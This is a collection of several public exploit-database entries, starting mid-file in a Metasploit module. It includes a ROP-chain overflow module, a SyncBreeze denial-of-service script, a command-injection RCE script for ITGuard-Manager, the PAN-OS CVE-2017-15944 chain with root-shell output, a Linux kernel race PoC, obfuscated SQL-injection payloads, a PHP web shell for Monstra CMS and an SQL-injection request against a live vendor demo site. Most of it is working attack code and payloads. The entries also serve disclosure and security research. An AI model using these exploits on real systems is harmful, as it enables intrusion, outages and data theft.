      rand_text_alpha(4).unpack('V'),
      rand_text_alpha(4).unpack('V'),
      0x02030af7,  # POP EAX # RETN [BwKrlAPI.dll]
      0xfbdbcbd5,  # put delta into eax (-> put 0x00001000 into edx)
      0x02029003,  # ADD EAX,424442B # RETN [BwKrlAPI.dll]
      0x0201234a,  # XCHG EAX,EDX # RETN [BwKrlAPI.dll]
      0x07078df5,  # POP EAX # RETN [BwPAlarm.dll]
      0xffffffc0,  # Value to negate, will become 0x00000040
      0x070467d2,  # NEG EAX # RETN [BwPAlarm.dll]
      0x07011e60,  # PUSH EAX # ADD AL,5B # POP ECX # RETN 0x08 [BwPAlarm.dll]
      0x0706fe66,  # POP EDI # RETN [BwPAlarm.dll]
      rand_text_alpha(4).unpack('V'),
      rand_text_alpha(4).unpack('V'),
      0x0703d825,  # RETN (ROP NOP) [BwPAlarm.dll]
      0x0202ca65,  # POP EAX # RETN [BwKrlAPI.dll]
      0x90909090,  # nop
      0x07048f5a,  # PUSHAD # RETN [BwPAlarm.dll]
    ].flatten.pack("V*")
    return rop_gadgets
  end

  def exploit
    connect
    handle = dcerpc_handle('5d2b62aa-ee0a-4a95-91ae-b064fdb471fc', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
    print_status("Binding to #{handle} ...")
    dcerpc_bind(handle)
    print_status("Bound to #{handle} ...")

    # send the request to get the handle
    resp   = dcerpc.call(0x4, [0x02000000].pack('V'))
    handle = resp.last(4).unpack('V').first
    print_good("Got a handle: 0x%08x" % handle)
    egg_options = { :eggtag   => "0day" }
    egghunter, egg = generate_egghunter(payload.encoded, payload_badchars, egg_options)

    # apparently this is called a ret chain
    overflow  = [target['Slide']].pack('V')
    overflow << [target['Slide']].pack('V')
    overflow << [target['Slide']].pack('V')
    overflow << [target['Slide']].pack('V')
    overflow << [target['Slide']].pack('V')
    overflow << [target['Slide']].pack('V')
    overflow << [target['Jmp']].pack('V')
    overflow << [target['Ret']].pack('V')
    overflow << [target['Slide']].pack('V')
    overflow << [target['Slide']].pack('V')
    overflow << [target['Slide']].pack('V')
    overflow << [target['Slide']].pack('V')
    overflow << [target['Slide']].pack('V')
    overflow << [target['Slide']].pack('V')
    overflow << create_rop_chain()
    overflow << egghunter
    overflow << egg
    overflow << rand_text_alpha(0x1000-overflow.length)

    # sorry but I dont like msf's ndr class.
    sploit  = [handle].pack('V')
    sploit << [0x000138bd].pack('V')  # opcode we are attacking
    sploit << [0x00001000].pack('V')  # size to copy
    sploit << [0x00001000].pack('V')  # size of string
    sploit << overflow
    print_status("Trying target #{target.name}...")
    begin
        dcerpc_call(0x1, sploit)
        rescue Rex::Proto::DCERPC::Exceptions::NoResponse
    ensure
        disconnect
    end
    handler
  end
end
            
=============================================
MGC ALERT 2017-007
- Original release date: November 30, 2017
- Last revised:  December 14, 2017
- Discovered by: Manuel García Cárdenas
- Severity: 7,5/10 (CVSS Base Score)
- CVE-ID: CVE-2017-17088
=============================================

I. VULNERABILITY
-------------------------
SyncBreeze <= 10.2.12 - Denial of Service

II. BACKGROUND
-------------------------
SyncBreeze is a fast, powerful and reliable file synchronization solution
for local disks, network shares, NAS storage devices and enterprise storage
systems.

III. DESCRIPTION
-------------------------
The Enterprise version of SyncBreeze is affected by a Remote Denial of
Service vulnerability.

The web server does not check bounds when reading server request in the
Host header on making a connection, resulting in a classic Buffer Overflow
that causes a Denial of Service.

To exploit the vulnerability only is needed use the version 1.1 of the HTTP
protocol to interact with the application.

IV. PROOF OF CONCEPT
-------------------------
#!/usr/bin/python
import sys, socket

host = sys.argv[1]
buffer="GET / HTTP/1.1\r\n"
buffer+="Host: "+"A"*2000+"\r\n\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 80))
s.send(buffer)
s.close()

V. BUSINESS IMPACT
-------------------------
Availability compromise can result from these attacks.

VI. SYSTEMS AFFECTED
-------------------------
SyncBreeze <= 10.2.12

VII. SOLUTION
-------------------------
Vendor release 10.3 version
http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.3.14.exe

VIII. REFERENCES
-------------------------
http://www.syncbreeze.com/

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel García Cárdenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
November 30, 2017 1: Initial release
December 14, 2017 2: Revision to send to lists

XI. DISCLOSURE TIMELINE
-------------------------
November 30, 2017 1: Vulnerability acquired by Manuel Garcia Cardenas
November 30, 2017 2: Send to vendor
December 6,  2017 3: Vendor fix the vulnerability and release a new version
December 14, 2017 4: Send to the Full-Disclosure lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester
            
# Vulnerability Title:  ITGuard-Manager V0.0.0.1 PreAuth Remote Code Execution 
# Author: Nassim Asrir 
# Contact: wassline@gmail.com / @asrir_nassim
# CVE: Waiting ...
# CVSS: CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:H/E:H/MAV:P3.0/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:H/E:H/MAV:P  
# Vendor:  http://www.innotube.com


Details:
========

First we need to know what happens when we need to LogIn.
When the User or Attacker insert any strings in the login form he/she will get this POST request: 

POST /cgi-bin/drknow.cgi?req=login HTTP/1.1 
Host: server
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://server/log-in.html?lang=KOR
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Connection: close
Upgrade-Insecure-Requests: 1

req=login&lang=KOR&username=admin&password=admin

 
Ok now we have this POST request and all we care about is the ‘username’ parameter . and we
can execute our system commands via this parameter due to missing input sanitization.
The payload will be: 'admin|'command'||x we will change the command by any *unix command (ls – id – mkdir ….) 

Exploit:
=======

#i am not responsible for any wrong use.

import requests
target = raw_input('Target(With proto) : ')
command = raw_input('Command To Execute : ')
fullpath=target +"/cgi-bin/drknow.cgi?req=login"
data = {'req':'login',
        'lang':'ENG',
        'username':'admin|'+command+'||x',
        'password':'admin'}
 
execute = requests.post(fullpath, data = data)
 
print execute.text
            
This is a public advisory for CVE-2017-15944 which is a remote root code
execution bug in Palo Alto Networks firewalls.

Three separate bugs can be used together to remotely execute commands as
root through the web management interface without authentication on: PAN-OS
6.1.18 and earlier, PAN-OS 7.0.18 and earlier, PAN-OS 7.1.13 and earlier,
PAN-OS 8.0.5 and earlier.

Palo Alto Networks recommends not exposing the web management interface to
the internet. By looking at Project Sonar or Shodan it is evident that it's
actually quite common to deploy the firewalls with the web management
interface listening on the WAN port.

PAN-OS 6.1.19, PAN-OS 7.0.19, PAN-OS 7.1.14 and PAN-OS 8.0.6 are patched
and can be downloaded from https://support.paloaltonetworks.com/

=*=*=*=*=*=*=*=*=    TIMELINE

2017-07-09: Report submitted.

2017-07-11: Palo Alto Networks PSIRT confirm that they received the report
and assign PDV-348 for tracking the issues.

2017-12-05: The bugs are made public by Palo Alto Networks at
https://securityadvisories.paloaltonetworks.com

2017-12-11: I send out this public advisory.

=*=*=*=*=*=*=*=*=    DESCRIPTION

- Bug #1: Partial authentication bypass

The file `/etc/appweb3/conf/common.conf` contains the web configuration for
the web server that handles the web management interface.

It configures an authentication filter on most subdirectories using the
following format:

<Location /php>
  panAuthCheck on
</Location>

This means that all requests to /php/* will be checked for an authenticated
session cookie. The functionality itself is implemented in the
`libpanApiWgetFilter.so` library file.

The function `openAuthFilter()` will look for the PHPSESSID cookie and then
call the `readSessionVarsFromFile()` function on the session file to
extract the `dloc` and `user` values.

The problem is that `readSessionVarsFromFile()` is not using the official
PHP functions to read the serialized session data, but its own parser using
`strtok()` which is not implemented correctly.

The PHP session format which `readSessionVarsFromFile()` tries to parse
looks like this for string values:
locale|s:2:"en";

Explained:
var_name|s:str_length:"string value"; var_name|s:str_length:"another
string";...


If we can inject a value into the session file that contains the `";`
character sequence, we can break the parser and inject our own value for
the `user` variable.

We can do this by calling the `/esp/cms_changeDeviceContext.esp` script,
which does not need any kind of authentication to be called.

It will call the `panUserSetDeviceLocation()` function located in
`panmodule.so`, which splits the `dloc` GET parameter by ":" and sets the
`dloc` and `loc` session variables to the second value.

We can corrupt the session file by calling the following url:
`/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337";`

Which produces the following contents in `/tmp/sess_<sessionid>`:
`dloc|s:20:"8:a'";user|s."1337";";loc|s:27:"16:a'";user|s."1337";:vsys1";`

When this is parsed by the `readSessionVarsFromFile()` function, it will
extract `16:a'` as the value for the `user` variable.

It will then use this in XML requests to the backend to check if the user
is authenticated, but this produces an XML injection that results in an
invalid XML document:

```
Entity: line 1: parser error : attributes construct error
<request cmd='op' cookie='16:a''  refresh='no'><operations
xml='yes'><show><cli>
```

The extra single quote character is injected into the cookie value, which
makes the request fail because of a parser error. Interestingly enough, the
`panCheckSessionExpired()` function in `libpanApiWgetFilter.so` does not
recognize this unexpected state and believes that authentication has
succeeded.

We can now access any PHP file protected by the panAuthCheck directive
using our manipulated session cookie.

Example:

imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;" 10.0.0.1/php/utils/debug.php
<!DOCTYPE html>
<html><head><title>Moved Temporarily</title></head>
<body><h1>Moved Temporarily</h1>
<p>The document has moved <a href="http://10.0.0.1:28250/php/logout.php
">here</a>.</p>
<address>PanWeb Server/ -  at 127.0.0.1:28250 Port 80</address></body>
</html>
imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;" '
10.0.0.1/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337";'
@start@Success@end@
imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;" 10.0.0.1/php/utils/debug.php
2>/dev/null|head -30
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "
http://www.w3.org/TR/html4/loose.dtd";>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
    <title>Debug Console</title>


It's important to note that we still don't have a valid, logged in session.
Most PHP scripts will fail, but we do bypass the authentication check in
the web server.

- Bug #2:  Arbitrary directory creation

The `/php/utils/router.php` file handles API requests for the web
management interface backend communication. It exposes most of the PHP
classes that comprise the web application in a simple remote procedure call
interface over HTTP POST/JSON.

The `/php/device/Administrator.php` file declares the `Administrator`
class. It contains a method called `get` that we can call from `router.php`.

In the `get` method there is an XML injection in the call to
`Direct::getConfigByXpath`. The `jsonArgs->id` parameter is appended to the
request without any sanitation. This allows us to manipulate the XML
request that is sent to the backend.

Normal request:
<request cmd="get" obj="/config/mgt-config/users/entry[@name='admin']"
cookie="12312312312"/>

We can inject our own values into the end of the `obj` attribute, and
therefore control all of the remaining XML request.

The `pan_cfg_req_ctxt_construct()` function in `libpanmp_mp.so` handles the
parsing of XML requests in the backend.

If we send a request tag with the `async-mode='yes'` attribute set, the
backend will create a temporary file and parent directory in
`/opt/pancfg/session/pan/user_tmp/<cookie value>/<jobid>.xml` that contains
the output of the request.

Since we can control the `<cookie value>` part of the created directory
structure, we can use a directory traversal attack to create a directory
with an arbitrary name anywhere on the system.

For example, by sending the following crafted POST request:

{"action":"PanDirect","method":"execute","data":
["07c5807d0d927dcd0980f86024e5208b","Administrator.get",
{"changeMyPassword":true,"template":"asd","id":"admin']\"
async-mode='yes' refresh='yes'
cookie='../../../../../../tmp/hacked'/>\u0000"}],"type":"rpc","tid":713}


The backend receives the following XML request, resulting in the
`/tmp/hacked` directory being created:

<request cmd="get" obj="/config/mgt-config/users/entry[@name='admin']"
async-mode="yes" refresh="yes" cookie="../../../../../../tmp/hacked"/>


- Bug #3:  Command injection in cron script

There is a cron entry that executes `/usr/local/bin/genindex_batch.sh`
every 15 minutes.

This shellscript will in turn execute `/usr/local/bin/genindex.sh` to
generate indexes from database files in `/opt/pancfg/mgmt/logdb/`.

There is a command injection vulnerability in how this shellscript handles
filename processing:

<redacted at the request of PA networks>

Since we can create directories in `$PAN_BASE_DIR/logdb/$dir/1`, we are
able to influence the output of the first `find` command.

This output is then used as an argument in the second execution of `find`,
but without enclosing quotes. We can therefore inject arbitrary arguments
in this invocation. By passing the `-exec` option to `find`, we can make it
execute arbitrary system commands.

My exploit creates a directory called:
`* -print -exec python -c exec("[base64 code..]".decode("base64")) ;`

The base64-encoded python code will be executed as root, which creates a
simple web shell in `/var/appweb/htdocs/api/c.php` as well as a suid root
wrapper in `/bin/x`.

=*=*=*=*=*=*=*=*=    EXPLOIT OUTPUT

imac:~/pa% python panos-rce.py http://10.0.0.1/
creating corrupted session...
http://10.0.0.1/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27
";user|s."1337";
done, verifying..
http://10.0.0.1/php/utils/debug.php
panAuthCheck bypassed
verifying that directory creation works..
http://10.0.0.1/php/utils/router.php/Administrator.get
http://10.0.0.1/api/test/202.xml
creating /opt/pancfg/mgmt/logdb/traffic/1/ entry
shell at http://10.0.0.1/api/c.php should be created in 8 minutes.. please
wait

web shell created, rootshell accessible with /bin/x -p -c 'command'
uid=99(nobody) gid=99(nobody) euid=0(root)
Linux PA-3060 2.6.32.27-7.1.10.0.30 #1 SMP Thu May 4 20:10:01 PDT 2017
x86_64 x86_64 x86_64 GNU/Linux

$


=*=*=*=*=*=*=*=*=    CREDIT

Philip Pettersson
            
/*
 * PoC for CVE-2017-10661, triggers UAF with KASan enabled in kernel 4.10
 */
#include <string.h>
#include <sys/timerfd.h>
#include <sys/time.h>
#include <sys/msg.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <errno.h>
#include <time.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <pthread.h>
#define RACE_TIME 1000000
int fd;
int fd_dumb;
int count=0;


void* list_add_thread(void* arg){

    int ret;

    struct itimerspec new ={
        .it_interval={
            .tv_sec=100,
            .tv_nsec=100
        },
        .it_value={
            .tv_sec=100,
            .tv_nsec=100
        }
    };

    int i=0;
    while(i<1){

        ret=timerfd_settime(fd,3,&new,NULL);

        if(ret<0){
            perror("timerfd settime failed !");
        }
        i++;
    }


    return NULL;
}

void* list_del_thread(void* arg){

    int ret;

    struct itimerspec new ={
        .it_interval={
            .tv_sec=100,
            .tv_nsec=100
        },
        .it_value={
            .tv_sec=100,
            .tv_nsec=100
        }
    };

    int i=0;
    while(i<1){
        ret=timerfd_settime(fd,1,&new,NULL);

        if(ret<0){
            perror("timerfd settime failed !");
        }
        i++;
    }
    return NULL;

}

int post_race()
{
    int ret;

    struct itimerspec new ={
        .it_interval={
            .tv_sec=100,
            .tv_nsec=100
        },
        .it_value={
            .tv_sec=100,
            .tv_nsec=100
        }
    };

    int i=0;

    struct timeval tv={
        .tv_sec = 120+count*2,
        .tv_usec = 100
    };
    ret=settimeofday(&tv,NULL);
    if(ret<0){
        perror("settimeofday");
    }
    return 0;
}

int do_race(){
    int ret_add[2];
    int i;
    int j;
    pthread_t th[2]={0};

    i=0;
    while(i<RACE_TIME){
        if(i%128)
            printf("%d\n",i);


        fd=timerfd_create(CLOCK_REALTIME,0); // create the victim ctx
        if(fd<0){
            perror("timerfd craete failed!");
            return -1;
        }
        ret_add[0] = pthread_create(&th[0],NULL,list_add_thread,(void*)1);
        ret_add[1] = pthread_create(&th[1],NULL,list_add_thread,(void*)2);

        for( j=0;j<2;j++){
            pthread_join(th[j],NULL);
        }

        close(fd);
        usleep(150000);

        i++;
        count++;
    }
    return 0;
}

int main(int argc, char const *argv[])
{
    int ret;

    // add dumb ctx
    void* area;
    void* base;
    struct itimerspec new ={
        .it_interval={
            .tv_sec=100,
            .tv_nsec=100
        },
        .it_value={
            .tv_sec=100,
            .tv_nsec=100
        }
    };
    fd_dumb = timerfd_create(CLOCK_REALTIME,0);

    ret=timerfd_settime(fd_dumb,3,&new,NULL);
    if(ret<0){
        perror("timerfd settime failed !");
    }

    ret=do_race();
    if(ret <0){
        puts("race failed!");
        goto error_end;
    }

    sleep(5);
error_end:
    close(fd);
    exit(1);
}
            
# # # # #
# Exploit Title: Movie Guide 2.0 - SQL Injection
# Dork: N/A
# Date: 15.12.2017
# Vendor Homepage: http://applebitemedia.com/
# Software Link: http://applebitemedia.com/amwdl/AM_Movie_Guide.tar.gz
# Version: 2.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/index.php?md=[SQL]
#  
# %2dV'%20%20%2f*!02222UNION*%2f(%2f*!02222SELECT*%2f%200x253238253331253239%2c0x253238253332253239%2c(%2f*!02222Select*%2f%20export_set(5%2c@:=0%2c(%2f*!02222select*%2f%20count(*)%2f*!02222from*%2f(information_schema.columns%29where@:=export_set(5%2cexport_set(5%2c@%2c%2f*!02222table_name*%2f%2c0x3c6c693e%2c2)%2c%2f*!02222column_name*%2f%2c0xa3a%2c2))%2c@%2c2))%2c0x253238253334253239%2c0x253238253335253239%2c0x253238253336253239%2c0x253238253337253239%2c0x253238253338253239%2c0x253238253339253239%2c0x253238253331253330253239%2c0x253238253331253331253239%2c0x253238253331253332253239)%2d%2d%20%2d
#  
# 2)
# http://localhost/[PATH]/index.php?pid=minfo&Movie_Id=[SQL]
#  
# %2dV'%20%20%2f*!02222UNION*%2f(%2f*!02222SELECT*%2f%200x253238253331253239%2c0x253238253332253239%2c(%2f*!02222Select*%2f%20export_set(5%2c@:=0%2c(%2f*!02222select*%2f%20count(*)%2f*!02222from*%2f(information_schema.columns%29where@:=export_set(5%2cexport_set(5%2c@%2c%2f*!02222table_name*%2f%2c0x3c6c693e%2c2)%2c%2f*!02222column_name*%2f%2c0xa3a%2c2))%2c@%2c2))%2c0x253238253334253239%2c0x253238253335253239%2c0x253238253336253239%2c0x253238253337253239%2c0x253238253338253239%2c0x253238253339253239%2c0x253238253331253330253239%2c0x253238253331253331253239%2c0x253238253331253332253239)%2d%2d%20%2d
#  
# 3)
# http://localhost/[PATH]/index.php?director=[SQL]
#  
# a'%20%20%2f*!02222UNION*%2f(%2f*!02222SELECT*%2f%200x253238253331253239%2c0x253238253332253239%2c(%2f*!02222Select*%2f%20export_set(5%2c@:=0%2c(%2f*!02222select*%2f%20count(*)%2f*!02222from*%2f(information_schema.columns%29where@:=export_set(5%2cexport_set(5%2c@%2c%2f*!02222table_name*%2f%2c0x3c6c693e%2c2)%2c%2f*!02222column_name*%2f%2c0xa3a%2c2))%2c@%2c2))%2c0x253238253334253239%2c0x253238253335253239%2c0x253238253336253239%2c0x253238253337253239%2c0x253238253338253239%2c0x253238253339253239%2c0x253238253331253330253239%2c0x253238253331253331253239%2c0x253238253331253332253239)%2d%2d%20%2d
# 
# 4)
# http://localhost/[PATH]/index.php?actor=[SQL]
#  
# -a'%20%20%2f*!02222UNION*%2f(%2f*!02222SELECT*%2f%200x253238253331253239%2c0x253238253332253239%2c(%2f*!02222Select*%2f%20export_set(5%2c@:=0%2c(%2f*!02222select*%2f%20count(*)%2f*!02222from*%2f(information_schema.columns%29where@:=export_set(5%2cexport_set(5%2c@%2c%2f*!02222table_name*%2f%2c0x3c6c693e%2c2)%2c%2f*!02222column_name*%2f%2c0xa3a%2c2))%2c@%2c2))%2c0x253238253334253239%2c0x253238253335253239%2c0x253238253336253239%2c0x253238253337253239%2c0x253238253338253239%2c0x253238253339253239%2c0x253238253331253330253239%2c0x253238253331253331253239%2c0x253238253331253332253239)%2d%2d%20%2d
#  
# 5)
# http://localhost/[PATH]/index.php?gterm=[SQL]
#  
# -a'%20%20%2f*!02222UNION*%2f(%2f*!02222SELECT*%2f%200x253238253331253239%2c0x253238253332253239%2c(%2f*!02222Select*%2f%20export_set(5%2c@:=0%2c(%2f*!02222select*%2f%20count(*)%2f*!02222from*%2f(information_schema.columns%29where@:=export_set(5%2cexport_set(5%2c@%2c%2f*!02222table_name*%2f%2c0x3c6c693e%2c2)%2c%2f*!02222column_name*%2f%2c0xa3a%2c2))%2c@%2c2))%2c0x253238253334253239%2c0x253238253335253239%2c0x253238253336253239%2c0x253238253337253239%2c0x253238253338253239%2c0x253238253339253239%2c0x253238253331253330253239%2c0x253238253331253331253239%2c0x253238253331253332253239)%2d%2d%20%2d
# 
# 6)
# http://localhost/[PATH]/index.php?year=[SQL]
#  
# -a'%20%20%2f*!02222UNION*%2f(%2f*!02222SELECT*%2f%200x253238253331253239%2c0x253238253332253239%2c(%2f*!02222Select*%2f%20export_set(5%2c@:=0%2c(%2f*!02222select*%2f%20count(*)%2f*!02222from*%2f(information_schema.columns%29where@:=export_set(5%2cexport_set(5%2c@%2c%2f*!02222table_name*%2f%2c0x3c6c693e%2c2)%2c%2f*!02222column_name*%2f%2c0xa3a%2c2))%2c@%2c2))%2c0x253238253334253239%2c0x253238253335253239%2c0x253238253336253239%2c0x253238253337253239%2c0x253238253338253239%2c0x253238253339253239%2c0x253238253331253330253239%2c0x253238253331253331253239%2c0x253238253331253332253239)%2d%2d%20%2d
# 
# # # # #
            
Exploit Title: Monstra CMS - 3.0.4 RCE
Vendor Homepage: http://monstra.org/
Software Link:
https://bitbucket.org/Awilum/monstra/downloads/monstra-3.0.4.zip
Discovered by: Ishaq Mohammed
Contact: https://twitter.com/security_prince
Website: https://about.me/security-prince
Category: webapps
Platform: PHP
Advisory Link: https://blogs.securiteam.com/index.php/archives/3559

Description:

MonstraCMS 3.0.4 allows users to upload arbitrary files which leads to a
remote command execution on the remote server.

Vulnerable Code:

https://github.com/monstra-cms/monstra/blob/dev/plugins/box/filesmanager/filesmanager.admin.php
line 19:

 public static function main()
    {
        // Array of forbidden types
        $forbidden_types = array('html', 'htm', 'js', 'jsb', 'mhtml', 'mht',
                                 'php', 'phtml', 'php3', 'php4', 'php5',
'phps',
                                 'shtml', 'jhtml', 'pl', 'py', 'cgi', 'sh',
'ksh', 'bsh', 'c', 'htaccess', 'htpasswd',
                                 'exe', 'scr', 'dll', 'msi', 'vbs', 'bat',
'com', 'pif', 'cmd', 'vxd', 'cpl', 'empty');

Proof of Concept
Steps to Reproduce:

1. Login with a valid credentials of an Editor
2. Select Files option from the Drop-down menu of Content
3. Upload a file with PHP (uppercase)extension containing the below code: (EDB Note: You can also use .php7)

           <?php

 $cmd=$_GET['cmd'];

 system($cmd);

 ?>

4. Click on Upload
5. Once the file is uploaded Click on the uploaded file and add ?cmd= to
the URL followed by a system command such as whoami,time,date etc.


Recommended Patch:
We were not able to get the vendor to respond in any way, the software
appears to have been left abandoned without support – though this is not an
official status on their site (last official patch was released on
2012-11-29), the GitHub appears a bit more active (last commit from 2 years
ago).

The patch that addresses this bug is available here:
 https://github.com/monstra-cms/monstra/issues/426
            
# Exploit Title: [Ciuis CRM v 1.0.7 Sql Injection]
# Google Dork: [if applicable]
# Date: [12/15/2017]
# Exploit Author: [Zahid Abbasi]
# Contact: http://twitter.com/zahidsec
# Website: http://zahidabbasi.com
# Vendor Homepage: [http://ciuis.com/]
# Software Link: [https://codecanyon.net/item/ciuis-crm/20473489]
# Version: [1.0.7] (REQUIRED)
# Tested on: [Win 7 64-bit]
# CVE : [if applicable]

1. Description

The injection required user registration on CIUS CRM. Old versions have 
not been tested but it's a guess, they are also vulnerable.
The URL path filename appears to be vulnerable to SQL injection attacks.
The payload 65079277 or 7647=07647 was submitted in the URL path 
filename, and a database error message was returned.
You should review the contents of the error message, and the 
application's handling of other input, to confirm whether a 
vulnerability is present.

2. Proof of Concept

The live testing was done on demo site of the script.
https://ciuis.com/demo/accounts/account/4 [URL path filename]
Request:-
GET /demo/accounts/account/465079277%20or%207647%3d07647 HTTP/1.1
Host: ciuis.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) 
Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: ci_session=98b5ef21cb2d123fb376f135218129226808fbec
Connection: close
Upgrade-Insecure-Requests: 1
Response:-
After placing our injection code and forwarding the request. The html 
response is posted below.
<div id="container">
        <h1>A Database Error Occurred</h1>
        <p>Error Number: 1064</p><p>You have an error in your SQL syntax; 
check the manual that corresponds to your MariaDB server version for the 
right syntax to use near 'and `transactiontype` =0)' at line 
3</p><p>SELECT SUM(`amount`) AS `amount`
--